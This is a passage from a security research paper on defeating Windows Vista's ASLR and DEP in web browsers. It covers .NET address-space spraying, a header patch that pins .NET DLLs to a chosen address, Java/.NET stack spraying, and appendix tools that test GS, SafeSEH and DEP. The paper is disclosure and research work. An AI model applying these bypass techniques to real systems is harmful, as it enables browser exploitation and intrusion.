can use .NET binaries to exhaust parts of the virtual address space, in a similar way to heap 

spraying. Additionally, it can often be done much faster and as stated previously, with arbitrary 

page protections on the data being inserted into the address space. This makes "address space 

spraying" with .NET binaries an attractive alternative to heap spraying, since it offers the ability 

to circumvent both ASLR and DEP. There are many different configurations of various binaries in 
memory that would be useful to an attacker, and the primary ones are discussed here. 

By supplying sufficiently large binaries, an attacker is able to have a good idea of roughly where 

a binary might exist within the virtual address space. They are able to guess because of the way 
ASLR works in Vista. Specifically, the following two observations are of interest: 

1. DLLs participating in ASLR are packed together at the top of memory. Although exactly 

where it will be located is not clear, the attacker will roughly know how where the DLL 

will be placed. Recall that DLLs start being loaded at a random offset from near the top of 

memory (0x78000000 minus up to 16 MB is where the first DLL will end). Also, the 

attacker will know approximately how many DLLs are loaded and what size they are 

because this is relatively standard across different installations of Windows. 

2. If the DLL does not fit within the address range 0x50000000-0x78000000, then a base 

address is selected for it in the same way one is selected for a randomized executable - 

that is, it will be located within 16 MB of the preferred image base specified in the PE 

header (+/- 8MB). The attacker can force this behavior by trying to load a large binary 
(~200MB for example). 



Using both of these pieces of information, an attack strategy can be formulated for guessing an 

address which will be mapped for the DLL. Essentially, the idea is to map a DLL that is small 

enough to fit within the 0x50000000 - 0x78000000 range, but to take up a large portion of it, or 

alternatively to specify a larger DLL that will be guaranteed not to fit within the aforementioned 

range. So, if a DLL were inserted that was, say, 100 MB, then the attacker could select an 

address high in memory (such as 0x55550000) and have a high degree of confidence that the 
DLL will have some data at that location. This strategy is depicted below: 

 

Alternatively, a larger DLL could be inserted, and a return address of the preferred base + 8MB 

would guarantee to land within the DLLs address range. The second strategy might be useful if 

the attacker requires the DLL to be located within a certain address range, because of character 

restrictions in effect in the vulnerability they are attempting to exploit for example. This strategy 
is shown below: 



 

Using these methods might not be precise enough to overwrite metadata within the DLL, but 

could certainly be used for returning to some executable shellcode. Essentially, the attacker 

would have one very large section within the binary marked as readable and executable, 

containing a large "nop slide" followed by useful shellcode at the very end. Thus, returning 
anywhere into this section would yield arbitrary execution. 

One major drawback with this approach is that downloading such a large binary would take a 

considerable amount of time given the average user's bandwidth constraints. This problem can 
be addressed in two ways: 

 Binary Padding  

This method involves specifying a section with a large VirtualSize in the section header, 

and a small SizeOfRawData value (even 0). In a scenario where VirtualSize is larger than 

SizeOfRawData, the remainder of the section is filled with 0's when mapped into memory. 

On the Intel architecture, this translates to the following instruction being repeated many 
times: 

add byte ptr [eax], al 

If the shellcode is placed in another executable section located right after the large empty 

section, the add byte ptr [eax], al instructions can be used as a NOP slide. Since this 

instruction dereferences EAX and writes data at that address, EAX would need to point to 
a valid and writable address in memory. 



 HTTP Content-Encoding: gzip  

Internet Explorer supports gzip encoded content, which is decoded automatically when it 

is received by the browser. Using the mod_deflate Apache module or similar software 

allows the attacker to send large .NET binaries compressed, thus dramatically reducing 

download time. Furthermore, since the large sections described in this attack are 

essentially NOP slides, the compression ratio would be quite high because you are 

compressing a large repetition of the same byte. This method has the advantage of not 
requiring EAX to point to a valid location in memory. 

A variation on the described method is to use both ASLR scenarios described above. Essentially, 

one binary is mapped in to memory that takes up most of the standard DLL address range 

(0x50000000 - 0x78000000) using the binary padding, and then another smaller one with all the 

contents present in the file (i.e. there is no padding) is mapped into memory. This smaller one 

would need to be 16 MB in size still, to guarantee returning into a valid mapped part of the DLL. 

(If the attacker specified a return address of the DLL's preferred base address + 8 MB and the 

binary was 16 MB in size, then it is guaranteed to be valid.) This method has the advantage of 

not transferring an excessive amount of data, and also not requiring EAX to point to a valid, 
writable memory location at the time of the overflow. 

 

As mentioned previously, DLLs are mapped into the address space one after the other with a 

granularity of 64K. That is, each DLL is mapped on a 64K-aligned boundary within the standard 

DLL address range (providing it will fit there). So, an attacker can create a webpage that embeds 
a very large number of small .NET binaries (8k in size or less), and each binary will be aligned on 

a 64K boundary, and also that they will be mostly allocated contiguously below the already 



loaded binaries. Therefore, every 64K-aligned address within the range of where these DLLs are 

mapped will contain a PE header, followed by whatever else the attacker chose to put in each 

binary (metadata, shellcode, etc). It is therefore feasible to do an attack not unlike a standard 

heap spray, with the additional advantages of setting page protections as well as knowing where 
metadata is located. This attack is depicted below: 

 

In order to perform this attack, a large number of DLLs need to be embedded within the 

webpage to ensure that the range of addresses is large enough to accurately guess. In a 

practical scenario, this could be achieved with around 300 DLLs. 300 DLLs aligned on 64K 

boundaries would occupy around 19MB if placed contiguously. If each of these DLLs were 6K in 

length for example, this would result in a requirement of downloading 1800K, or a little less than 
2MB. Again, compression could potentially make this figure significantly lower. 

Disabling ASLR for .NET Binaries 

exploit: dotnet-shellcode-aslr.rb 

vulnerability: ANI 

target: Vista SP0 with DEP 

bypasses: DEP, ASLR 

The previous attack vectors had a certain degree of guesswork involved in exactly where .NET 

DLLs would be positioned in memory. It would really be preferable if it were possible to load a 



DLL at an exact address, thus allowing the attacker to exactly identify where interesting 

metadata/shellcode/etc resides in memory. On Windows XP, this is somewhat easy; .NET 

binaries are just loaded at their preferred image base. On Vista the address where a .NET binary 

is loaded is always randomized, regardless of the whether the DllCharacteristics field in the 

header has the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag set. The pseudocode for 
deciding whether ASLR should be enabled for a particular binary is shown below: 

int MiRelocateImage(PIMAGE_BINARY_INFO pBinaryInfo, 

                    PIMAGE_DATA_DIRECTORY pRelocations, 

                    LPBYTE pImagePtr) 

{ 

    if( !(pBinaryInfo->pHeaderInfo->usDllCharacteristics & 

             IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE) && 

        !(pBinaryInfo->pHeaderInfo->bFlags & 

             PINFO_IL_ONLY_IMAGE) && 

        !(_MmMoveImages == -1) ) 

    { 

        _MiNoRelocate++; 

        return 0; 

    } 

ASLR does not take place only if the all of the following three conditions are met: 

1. The binary is not participating in ASLR (ie. 

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE is not set in the DllCharacteristics 

field). 

2. The binary is not IL-Only (the COMIMAGE_FLAGS_ILONLY flag is set in the Flags field of 

the .NET header), and 
3. The _MmMoveImages global variable is not set to -1. 

Since .NET binaries loaded in the context of the browser are always IL-Only binaries, it would 

seem as though they will always acquire a random base address. However, this is not the case. 
The code for setting the IL-Only flag is shown: 

if( ( (pCORHeader->MajorRuntimeVersion > 2) || 

      (pCORHeader->MajorRuntimeVersion == 2 && pCORHeader->MinorRuntimeVersion >= 

5) ) && 

    (pCORHeader->Flags & COMIMAGE_FLAGS_ILONLY) ) 

{ 

    pImageControlArea->pBinaryInfo->pHeaderInfo->bFlags |= PINFO_IL_ONLY_IMAGE; 

 

    ... 

} 

As can be seen, a number of additional sanity checks are done before the check is done to see if 

COMIMAGE_FLAGS_ILONLY is set in the .NET COR header. Specifically, the major and minor 

versions in the COR header are checked, and if the version is below 2.5, the Flags value in the 

COR header is never checked, and the IL-Only flag is never set. So, to have a binary located in a 

static location in the IE process, the following modifications to a standard .NET control need to be 

carried out: 

1. Set the ImageBase value in the PE Optional Header to the desired address. 

2. Remove the DLL_IMAGE_CHARACTERISTICS_DYNAMIC_BASE flag from the 

DllCharacteristics value in the PE file header. 
3. Change the version in the COR header to make it below 2.5. Setting it to 2.4 is sufficient 

to break ASLR without impacting the .NET control. 



When all three of these modifications are performed, the attacker may load a DLL at any address 
they choose. This method works on all current versions of Windows, including Vista SP1. 

The .NET COR header that we need to modify can be found by looking up the COMPLUS data 
directory (number 14) in the PE header. The COR header has the following format: 

typedef struct IMAGE_COR20_HEADER 

{ 

    DWORD cb; 

    WORD  MajorRuntimeVersion; 

    WORD  MinorRuntimeVersion; 

 

    IMAGE_DATA_DIRECTORY MetaData; 

    DWORD Flags; 

    DWORD EntryPointToken; 

 

    IMAGE_DATA_DIRECTORY Resources; 

    IMAGE_DATA_DIRECTORY StrongNameSignature; 

    IMAGE_DATA_DIRECTORY CodeManagerTable; 

    IMAGE_DATA_DIRECTORY VTableFixups; 

    IMAGE_DATA_DIRECTORY ExportAddressTableJumps; 

    IMAGE_DATA_DIRECTORY ManagedNativeHeader; 

 

} IMAGE_COR20_HEADER, *PIMAGE_COR20_HEADER; 

Some of the important fields for the purposes of this discussion are as follows: 

 Cb - This is the size of the .NET COR header, it needs to be at least 0x48. 

 MajorRuntimeVersion - The major runtime version of .NET that this binary was designed 

to run under. Current compilers will build binaries with the major version 2 here. 

 MinorRuntimeVersion - The minor runtime version of .NET that this binary was designed 

to run under. Current compilers will build binaries with the minor version 5 here. 

 Flags - Several flags describing what type of .NET binary this is. To successfully load in 

the context of IE, the browser needs to contain no native code - that is, it must be an 

"IL-Only" binary, which is indicated by setting the flag COMIMAGE_FLAGS_ILONLY (0x01) 
here. 

The modifications we performed on exploit.dll are shown below: 

--- exploit.dll.orig.dumpbin    2008-08-04 01:17:32.599800000 -0700 

+++ exploit.dll.dumpbin 2008-08-04 01:17:40.914600000 -0700 

@@ -2,7 +2,7 @@ 

 Copyright (C) Microsoft Corporation.  All rights reserved. 

  

  

-Dump of file exploit.dll.orig 

+Dump of file exploit.dll 

  

 PE signature found 

  

@@ -42,8 +42,7 @@ 

              200 size of headers 

                0 checksum 

                3 subsystem (Windows CUI) 

-             540 DLL characteristics 

-                   Dynamic base 

+             500 DLL characteristics 

                    NX compatible 

                    No structured exception handler 



           100000 size of stack reserve 

@@ -152,7 +151,7 @@ 

   clr Header: 

  

               48 cb 

-            2.05 runtime version 

+            2.04 runtime version 

             206C [     324] RVA [size] of MetaData Directory 

                3 flags 

                0 entry point token 

Java and .NET stack spraying 

For some time now, heap spraying has been a popular method for creating reliable exploits. The 

key element of heap spraying is the ability to have a large contiguous memory region of 

controllable data that is of some use when exploiting a memory corruption flaw. Usually, this 

amounts to allocating a series of large blocks filled with shellcode that can be later returned to 

after execution has been seized. 

Some of the concepts central to heap spraying are interesting in the context of thread stacks 

also. There are several key differences, however, which are as follows: 

1. Stacks can be useful for more than just storing shellcode. Since stacks contain metadata, 

they might also be useful as a target for memory corruption. 

2. The data on the stack may not be directly controllable by the attacker. 

3. To spray a large amount of data in a repeating pattern will generally require recursive 

function calls. 

4. Stacks cannot be infinitely expanded - they are limited by the reserve size of the stack. 

So, utilizing the stack presents some interesting opportunities that heap spraying generally does 

not (primarily overwriting meta-data). However, it is also apparent that stack spraying appears 

more difficult to achieve due to the fact that generally recursive functions are few and far 

between, the data isn't controlled directly by the attacker, and stacks are limited by the reserve 

size of the stack. Still, if these problems can be overcome then it remains a viable exploitation 

method. 

Before discussing the issues above, a brief explanation of stack usage on the Windows platform 

should be covered. Basically, a stack has both a "reserve" size and a "commit" size. The reserve 

size indicates the maximum size the stack can grow to. When the stack is allocated at thread 

initialization, a memory region of the size indicated by the stack reserve size is carved out of the 

address space. This memory region is not actually backed by physical pages or disk backing - it 

is reserved in the virtual address space so that nothing else can be allocated in that region of 

memory. The commit size, on the other hand, is the amount of memory that will be backed by 

physical pages or a backing store. The committed memory will typically be much smaller than 

the reserve size, and will be used as soon as the thread starts utilizing the stack. When all of the 

committed memory is used up, the kernel will automatically commit more memory as needed, 

up to a maximum of the reserve size. This process is documented in more depth in Dowd, 
McDonald and Mehta's presentation from BlackHat USA 2007. 

Where do the reserve and commit sizes come from? The default reserve and commit sizes for a 

given thread are retrieved from the Optional Header in the base executable of the current 

process. The standard values most executables have are 4K (1 page) for a commit size and 1MB 
for the reserve size. Either of these values can be overridden by explicitly having the 

dwStackSize parameter set to non-zero when calling the CreateThread function. Whether the 

https://www.blackhat.com/presentations/bh-usa-07/Dowd_McDonald_and_Mehta/Whitepaper/bh-usa-07-dowd_mcdonald_and_mehta.pdf
http://msdn.microsoft.com/en-us/library/ms682453.aspx


dwStackSize is used to indicate the reserve or the commit size depends on the dwCreationFlags 

value. If this flags value has STACK_SIZE_PARAM_IS_A_RESERVATION set, then dwStackSize 
will represent the reserve size, otherwise it will represent the commit size. 

In the context of web browsers, overcoming all of the aforementioned problems is actually quite 

easy due to the use of languages such as Java and .NET. Firstly, the problem of the stack being 

limited in size is not a problem, because both Java and .NET have thread constructor functions 
that a take a stack size parameter: 

Java Thread constructor: 

public Thread(ThreadGroup group, Runnable target, String name, 

                  long stackSize) 

.NET Thread constructor: 

public Thread(ThreadStart start, int maxStackSize) 

The size parameter in both cases is used as the reserve size for the new stack being created, and 

can be arbitrarily large. It is possible, for example, to reserve 256 MB of the virtual address 

space for a particular thread's stack. Therefore, the attacker is free to allocate a contiguous 

region of memory as large as they want. Furthermore, the attacker has a fairly free hand on 

what kind of data will be placed on to the stack, since they will supply the functions that are 

manipulating that stack space. Several possibilities that are useful for exploitation scenarios are 
described in the following section. 

Stack spraying with return addresses 

In this scenario, the goal is to fill a large amount of stack space with useful pointers to overwrite. 

Using this technique allows the attacker to select an approximate location to corrupt rather than 

a precise one. The easiest way to do this is to create a recursive function with no local variables 

and no parameters. By calling this function enough times so that it fills up most of the stack, a 

large buffer will be created that contains (in theory) a series of return addresses, any of which 

can be overwritten to gain arbitrary execution. In reality, several other data elements also get 
pushed onto the stack. The stack layout for both Java and .NET threads are shown respectively. 



 

The content of the stack in each scenario is not exactly a large buffer of repeating convenient 

return addresses to overwrite; other meta-data is also stored on the stack. In the case of Java, 

there is a significant amount of meta-data, with saved EIPs only occurring about once in every 8 

DWORDs. Conversely, .NET has only saved registers, and saved EIPs can be as frequent as 1 in 

every 2 DWORDs. In either case, overwriting other DWORDs does not result in program crashes 

because overwriting the saved registers has no effect (since the same registers are restored 
again in the following stack frames). 

Stack spraying with shellcode 

Code is just as easy to place on the stack as addresses. In this case, the attacker would create 

functions with very large stack footprints that contain the code of their choosing. This could be 

achieved for example by creating a large number of integers or bytes as local variables, and then 

populating them with useful code. Again, this would best be achieved with a recursive function. 

Also, it should be noted that code located on the stack may only be executed if DEP is not being 
enforced. This restriction is also true of heap spraying, however. 

Stack spraying with pointers 

One particularly interesting aspect of stack spraying is that rather than filling up a block full of 

user-controlled data, it is equally easy to fill up the block with pointers to user-controlled data. 

Indirection like this might be useful in a number of memory corruption scenarios. In order to 

achieve this, the attacker simply needs to make a function that has a large number of local 

variables that are pointers. Obviously, both languages don't support direct pointer manipulation, 

however by creating new arrays or objects, pointers will be created and placed on the stack. 

Therefore, by following a similar strategy to those previously outlined (namely, having a 



recursive function with a large amount of local variables and/or parameters), it is possible to 
have a large buffer of pointers to user controlled-data. 

Stack spraying and ASLR 

ASLR in Vista randomizes the stack, as discussed earlier. Astute readers might notice that 

allocating a sufficiently large stack should not succeed; at attempt to allocate 128M or more for a 

stack should fail because the ASLR code searches through the address space a random number 

of times for a hole that the stack should fit in. However, the size passed to the stack 

randomization function is the stack commit size, not the stack reserve size. Therefore, the search 

through memory will look for quite small holes (4K in most cases), rather than obnoxiously large 

ones. It doesn't really matter if the hole returned is big enough to fit the large stack reserve in or 

not; the base address returned from the randomization process is just used as a hint to 

NtAllocateVirtualMemory. If the base address passed to NtAllocateVirtualMemory does not point 

to a block of free space large enough for the reserve allocation, the address space will be 

searched linearly for a big enough space and allocate there. Therefore, base address 

randomization for the stack has little meaning in the context of these techniques. The 
excessively large stacks always get allocated in the lower part of the address space, as shown: 

 

The address 0x10000000 is a safe one to return to, since part of the stack is always there. If 0's 

cannot exist within the return address, then something like 0x10101010 would also be adequate. 
An example memory dump utilizing .NET is shown: 



 

Here, a large stack has been created with a saved EIP every second DWORD. This stack will 
reliably exist at approximately the same location across multiple executions. 



Conclusion 

In this paper we demonstrated that the memory protection mechanisms available in the latest 

versions of Windows are not always effective when it comes to preventing the exploitation of 

memory corruption vulnerabilities in browsers. They raise the bar, but the attacker still has a 

good chance of being able to bypass them. Two factors contribute to this problem: the degree to 

which the browser state is controlled by the attacker; and the extensible plugin architecture of 

modern browsers. 

The internal state of the browser is determined to a large extent by the untrusted and potentially 

malicious data it processes. The complexity of HTML combined with the power of JavaScript and 

VBscript, DOM scripting, .NET, Java and Flash give the attacker an unprecedented degree of 
control over the browser process and its memory layout. 

The second factor is the open architecture of the browser, which allows third-party extensions 

and plugins to execute in the same process and with the same level of privilege. This not only 

means that any vulnerability in Flash affects the security of the entire browser, but also that a 

missing protection mechanism in a third-party DLL can enable the exploitation of vulnerabilities 
in all other browser components. 

The authors expect these problems to be addressed in future releases of Windows and browser 
plugins shipped by third parties. 
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Appendix A. Memory protection analysis tools 

In the course of our research we have developed a set of tools for analyzing memory protections 

on the Windows platform. These tools can be used to test the implementation of GS, SafeSEH, 
DEP and ASLR in different versions of the OS and the Visual C++ compiler. 

GS 

gs-perf 

The gs-perf program measures the worst case slowdown introduced by the /GS compiler option. 

It executes 100 million iterations of a function that returns the address of a local variable and 
measures how long it takes with and without GS. 

The results from a test on a 2.4 GHz Core2 Duo CPU indicate a 42% slowdown: 

$ ./gs-perf.exe 

Testing worst case GS performance: 

 

GS disabled: 188679 calls per tick 

GS enabled : 108577 calls per tick 

 

GS slowdown: 42% 

gs-test 

The gs-test program tests the GS function heuristics and variable reordering in the Visual C++ 

compiler. It compiles a number of test functions with different local variables and reports which 

functions are protected by GS. Each test function is compiled twice - with and without the 
strict_gs_check pragma. 

To test variable reordering, gs-test gets the addresses of the local variables and arguments at 
runtime and displays them in the order they are on the stack. 

The following output shows the results from gs-test compiled with Visual Studio 2005 SP1: 

$ ./gs-test.exe 

Testing GS heuristics: 

 

  test case                                default GS   strict GS 

 

  test_int                                 missing      GS 

  test_array_of_4_char                     missing      GS 

  test_array_of_5_char                     GS           GS 

  test_array_of_2_short                    missing      GS 

  test_array_of_3_short                    GS           GS 

  test_array_of_typedef_char               GS           GS 

  test_array_of_signed_char                GS           GS 

  test_array_of_unsigned_char              GS           GS 

  test_array_of_signed_short               GS           GS 

  test_array_of_unsigned_short             GS           GS 

  test_array_of_int                        missing      GS 

  test_array_of_ptr                        missing      GS 



  test_array_of_struct_1_char              GS           GS 

  test_array_of_struct_2_char              GS           GS 

  test_array_of_struct_3_char              missing      GS 

  test_array_of_struct_1_short             GS           GS 

  test_array_of_struct_2_short             missing      GS 

  test_array_of_struct_int                 missing      GS 

  test_array_of_struct_char_int            missing      GS 

  test_array_of_union_char_char            GS           GS 

  test_array_of_union_char_short           GS           GS 

  test_array_of_union_short_short          GS           GS 

  test_array_of_struct_char_struct_char    GS           GS 

  test_array_of_structs_char_struct_short  missing      GS 

  test_struct_1_char                       missing      GS 

  test_struct_5_char                       missing      GS 

  test_struct_array_char                   GS           GS 

  test_union_array_char_int                GS           GS 

  test_alloca                              GS           GS 

  test_seh                                 missing      missing 

  test_seh_int                             missing      GS 

  test_seh_array_4_char                    missing      GS 

  test_seh_array_5_char                    GS           GS 

  test_seh_array_250_char                  GS           GS 

  test_seh_array_5000_char                 GS           GS 

  test_arg_int                             missing      missing 

  test_arg_ptr                             missing      missing 

  test_arg_array_char                      missing      missing 

  test_arg_struct_int                      missing      missing 

  test_arg_struct_array_4_char             missing      missing 

  test_arg_struct_array_5_char             GS           missing 

  test_reorder_locals                      GS           GS 

  test_reorder_locals_order                GS           GS 

  test_reorder_args                        GS           GS 

  test_reorder_strict_bug                  GS           missing 

 

Testing variable reordering: 

 

  test_reorder_locals 

 

    disabled : missing 

    default  : GS 

    strict   : GS 

 

    source code order   disabled GS        default GS         strict GS 

 

    int   a             int   k            { 1 int } q        { 1 int } q 

    void* b             { 1 int } g        { 1 int } g        { 1 int } g 

    char  c[4]          char  m[4]         char  m[4]         char  m[4] 

    char  d[5]          char  c[4]         char  c[4]         char  c[4] 

    int   e[5]          { 1 int } q        int   k            int   k 

    void* f[10]         void* b            void* b            void* b 

    { 1 int } g         void* l            void* l            void* l 

    { 2 ints } h        int   a            int   a            int   a 

    { char[10]; } i     char  d[5]         { 2 ints } r       { 2 ints } r 

    { 6 ints } j        char  n[5]         { 2 ints } h       { 2 ints } h 

    int   k             { 2 ints } h       int   o[5]         int   o[5] 

    void* l             { 2 ints } r       int   e[5]         int   e[5] 

    char  m[4]          { char[10]; } s    { 6 ints } j       { 6 ints } j 

    char  n[5]          { char[10]; } i    { 6 ints } t       { 6 ints } t 

    int   o[5]          int   o[5]         void* f[10]        void* f[10] 

    void* p[10]         int   e[5]         void* p[10]        void* p[10] 

    { 1 int } q         { 6 ints } j       { char[10]; } s    { char[10]; } s 

    { 2 ints } r        { 6 ints } t       { char[10]; } i    { char[10]; } i 

    { char[10]; } s     void* p[10]        char  d[5]         char  d[5] 



    { 6 ints } t        void* f[10]        char  n[5]         char  n[5] 

 

  test_reorder_locals_order 

 

    disabled : missing 

    default  : GS 

    strict   : GS 

 

    source code order   disabled GS        default GS         strict GS 

 

    char[10] a          char i             char i             char i 

    { char[30] } b      { char; char; } o  { char; char; } o  { char; char; } o 

    char[50] c          { char[2] } k      { char[2] } k      char m[3] 

    { char[70] } d      char m[3]          char m[3]          int j 

    char[80] e          int j              int j              void* l[2] 

    { char[60] } f      void* l[2]         void* l[2]         int n[10] 

    char[40] g          char[10] a         int n[10]          { char[2] } k 

    { char[20] } h      { char[20] } h     { char[20] } h     { char[20] } h 

    char i              { char[30] } b     { char[30] } b     { char[30] } b 

    int j               int n[10]          { char[60] } f     { char[60] } f 

    { char[2] } k       char[40] g         { char[70] } d     { char[70] } d 

    void* l[2]          char[50] c         char[10] a         char[10] a 

    char m[3]           { char[60] } f     char[40] g         char[40] g 

    int n[10]           { char[70] } d     char[50] c         char[50] c 

    { char; char; } o   char[80] e         char[80] e         char[80] e 

 

  test_reorder_args 

 

    disabled : missing 

    default  : GS 

    strict   : GS 

 

    source code order   disabled GS        default GS         strict GS 

 

    int   a             char local2[5]     int  local1        char* b 

    char* b             int  local1        char* b            { char[5]; } e 

    { int; char*; } c   -----------        { char[2]; } d     { char[2]; } d 

    { char[2]; } d      int   a            { char[5]; } e     int  local1 

    { char[5]; } e      char* b            char local2[5]     char local2[5] 

    { char*[5]; } f     { int; char*; } c  -----------        ----------- 

    -----------         { char[2]; } d     int   a            int   a 

    int  local1         { char[5]; } e     { int; char*; } c  { int; char*; } c 

    char local2[5]      { char*[5]; } f    { char*[5]; } f    { char*[5]; } f 

 

  test_reorder_strict_bug 

 

    disabled : missing 

    default  : GS 

    strict   : missing  <- this is a compiler bug, there should be a GS cookie 

 

    source code order   disabled GS        default GS         strict GS 

 

    -----------         -----------        { char[5] } a      { char[5] } a 

    { char[5] } a       { char[5] } a      -----------        ----------- 



SafeSEH 

seh-test 

The seh-test program displays the current process flags and tries to execute an exception 

handler in the text segment, data segment, heap memory or the stack. It is compiled with 

different permutations of the /SafeSEH and /NXcompat flags and can be used to test the SEH 
handler validation in processes with different combinations of DEP and SafeSEH protections. 

The following output shows that in a process compiled without /SafeSEH we're allowed to 
execute a handler in the text segment: 

$ ./seh-test.exe 

Syntax: seh-test <test> 

 

Tests: 

  text    handler in a text segment, but not in the SafeSEH table 

  data    handler in a data segment 

  heap    handler on the heap 

  stack   handler on the stack 

 

$ ./seh-test.exe text 

Process execution flags: 

    ExecuteDisable        : 0 

    ExecuteEnable         : 0 

    DisableThunkEmulation : 0 

    Permanent             : 0 

    ExecuteDispatchEnable : 0 

    ImageDispatchEnable   : 0 

    DisableExceptionChainValidation : 1 

 

Handler in a text segment: 

    handler executed 

DEP 

dep-test 

This program tests DEP by jumping to the code segment, data segment, heap and stack and 

reporting whether an access violation exception is generated. It is compiled twice, with the 
/NXcompat linker option and without. 

The output of the program from Vista SP1 in OptOut mode is shown below: 

$ ./dep-test.exe 

Process execution flags   : 0x4d 

    ExecuteDisable        : 1 

    ExecuteEnable         : 0 

    DisableThunkEmulation : 1 

    Permanent             : 1 

    ExecuteDispatchEnable : 0 

    ImageDispatchEnable   : 0 

    DisableExceptionChainValidation : 1 



 

Running tests: 

    text  : ok 

    data  : access violation 

    heap  : access violation 

    stack : access violation 

dep-info 

On Vista this program displays the process execution options for all processes on the system. On 

Windows XP the undocumented API we use to get this information does not work properly for 
remote processes, so we show the process execution options only for the current process. 

The output of the program from Vista SP1 in OptIn mode is shown below: 

0     [System Process]     [access denied] 

4     System               [access denied] 

344   smss.exe             0x4d 

408   csrss.exe            0x4d 

448   wininit.exe          0x4d 

456   csrss.exe            0x4d 

484   winlogon.exe         0x4d 

532   services.exe         0x4d 

544   lsass.exe            0x4d 

552   lsm.exe              0x4d 

716   svchost.exe          0x4d 

776   svchost.exe          0x4d 

812   svchost.exe          0x4d 

904   svchost.exe          0x4d 

928   svchost.exe          0x4d 

976   svchost.exe          0x4d 

1044  audiodg.exe          [access denied] 

1076  SLsvc.exe            0x4d 

1124  svchost.exe          0x4d 

1260  svchost.exe          0x4d 

1404  spoolsv.exe          0x4d 

1436  svchost.exe          0x4d 

1688  taskeng.exe          0x4d 

1700  svchost.exe          0x4d 

1816  VMwareService.exe    0x72 

1924  svchost.exe          0x4d 

1944  SearchIndexer.exe    0x4d 

708   mscorsvw.exe         0x4d 

3000  taskeng.exe          0x4d 

3104  dwm.exe              0x4d 

3116  explorer.exe         0x72 

3408  MSASCui.exe          0x4d 

3232  VMwareTray.exe       0x72 

2964  VMwareUser.exe       0x72 

2804  wsqmcons.exe         0x4d 

3624  cmd.exe              0x4d 

3748  ieuser.exe           0x4d 

3864  iexplore.exe         0x72 

3300  notepad.exe          0x4d 

3632  SearchProtocolHost.exe 0x4d 

3056  SearchFilterHost.exe 0x4d 

4040  dep-info.exe         0x72 

Using the -v option enables verbose output and decodes the process execution flags: 



$ ./dep-info.exe -v 

[cut] 

3624  cmd.exe              0x4d 

  ExecuteDisable        : 1 

  ExecuteEnable         : 0 

  DisableThunkEmulation : 1 

  Permanent             : 1 

  ExecuteDispatchEnable : 0 

  ImageDispatchEnable   : 0 

  DisableExceptionChainValidation : 1 

4040  dep-info.exe         0x72 

  ExecuteDisable        : 0 

  ExecuteEnable         : 1 

  DisableThunkEmulation : 0 

  Permanent             : 0 

  ExecuteDispatchEnable : 1 

  ImageDispatchEnable   : 1 

  DisableExceptionChainValidation : 1 


